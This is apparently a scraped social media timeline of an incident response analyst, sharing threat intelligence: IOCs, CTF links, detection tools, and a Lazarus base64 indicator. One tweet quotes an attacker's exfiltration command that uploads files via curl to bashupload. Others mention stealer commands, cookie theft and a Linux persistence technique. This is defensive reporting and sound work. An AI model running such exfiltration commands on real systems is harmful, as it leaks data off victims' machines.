Sathishds @sathishdatwit

Incident response analyst, Interested in sharing Cyber threat hunting,Threat Intelligence, Malware analysis, Forensics artifacts, Red team blogs NL Joined February 2012

Tweets

2K
Followers

176
Following

2K
Likes

7K

Sathishds @sathishdatwit

2 weeks ago

Linux games - These 5 games make it fun - and they're free zdnet.com/article/want-t… overthewire.org/wargames/ cmdchallenge.com web.mit.edu/mprat/Public/w… gitlab.com/slackermedia/b… root-me.org/?lang=en #linux #bash #ctf

0 0 0 34 0

During a recent Incident Response case, we observed the threat actor exfiltrating data to the platform bashupload[.]com, which enables easy file uploads via a simple cURL command: curl bashupload[.]com -T your_file.txt Notably, Palo Alto highlighted this service in a February…

8 46 239 27K 206

Download Image

Sathishds @sathishdatwit

2 months ago

#Webdav 180[.]178[.]189[.]51 file://\\180[.]178[.]189[.]51@80\file #malware external ms-search protocol

0 0 0 59 0

Download Image

Vivek Ramachandran @vivekramac

8 months ago

The Cyberhaven attack is making headlines—but what could Cyberhaven and its customers have done to prevent it? Attack Context: lnkd.in/gqZCCDYh What Happeend? SquareX reported a large-scale attack targeting Chrome extensions. This is how it worked: - The Chrome Web…

0 8 10 996 4

Download Video

Start.me @startme

8 months ago

Stay ahead of cyber threats with *Cyber Threat Intelligence*—the most followed page in Cybersecurity in 2024! 🌐 Access real-time reports from Mandiant, DFIR, Unit 42, Red Canary, Avast, Symantec, and more. All the key sources in one place: start.me/p/wMrA5z/cyber… 🔒✨

0 4 12 717 11

Download Image

Fox_threatintel @banthisguy9349

11 months ago

Do not have your camera public facing and if you do... atleast buy a reliable brand + maintain a good security posture on the IoT device. Otherwise you will show up in the list below maybe one day. #backdoor #IoT #cameras #sshdkit urlhaus.abuse.ch/browse/tag/ssh…

1 31 126 10K 68

Download Image

Magic Sword @magicswordio

11 months ago

🚨🔥 LOLRMM IS LIVE! 🔥🚨 The wait is over, folks! 🥳🎉 We’re thrilled to announce the official release of LOLRMM — your new go-to tool to detect and counter RMM abuse! 🕵️‍♂️💻 👉 Check it out NOW at LOLRMM.io 👈 This couldn’t have been possible without our amazing…

8 112 242 72K 110

xiu @osint_barbie

11 months ago

1/5: My friend @Cipher0091 sent me a Triage link with a report on an HTML file. Inside, I found typical #macOS #stealer commands like osascript, ditto, curl, etc👇tria.ge/240930-a1fjzsy…

3 13 31 4K 17

Download Image

Nikhil Mittal @nikhil_mitt

11 months ago

September giveaway! I am giving away 1 seat each for @AlteredSecurity on-demand CRTP and AD CS courses. Please Reply, Repost and Like this post to participate. I will announce 1 random winner for each on 30th September. alteredsecurity.com/online-labs Make sure to reply with which one…

369 336 544 46K 57

Sathishds @sathishdatwit

11 months ago

@GroupIB_TI Another BeaverTail (Python) #IOC with low VT score 2717949ec6799946cc1b7e75eb898e995b0964720cd33645348714f4e1ee72d6 virustotal.com/gui/file/27179…

0 1 0 21 0

Who said what? @g0njxa

12 months ago

#Lumma Stealer just announced an update on his method to collect cookies from the most recent Google Chrome browser. Full statement 👇

Who said what? @g0njxa

12 months ago

#Lumma Stealer just announced an update on his method to collect cookies from the most recent Google Chrome browser. Full statement 👇 https://t.co/iDuTZlCMLH

0 23 91 24K 35

Download Image

1 17 62 8K 21

Download Image

Sathishds @sathishdatwit

12 months ago

APT lazarus malicious javascript code found on multiple github repositories Base64 encoded string #ioc NDUuMTQwLjaHR0cDovLwE0Ny4yMDg6NTQzMjE= #APT #Lazarus #BeaverTail

0 0 4 525 1

Download Image

Graham Helton (too much for zblock) @GrahamHelton3

a year ago

There is a "new" persistence technique making the rounds that takes advantage of Linux udev rules. I spent some time last week going through it and making a tool to take advantage of it. Here are my thoughts: 🧵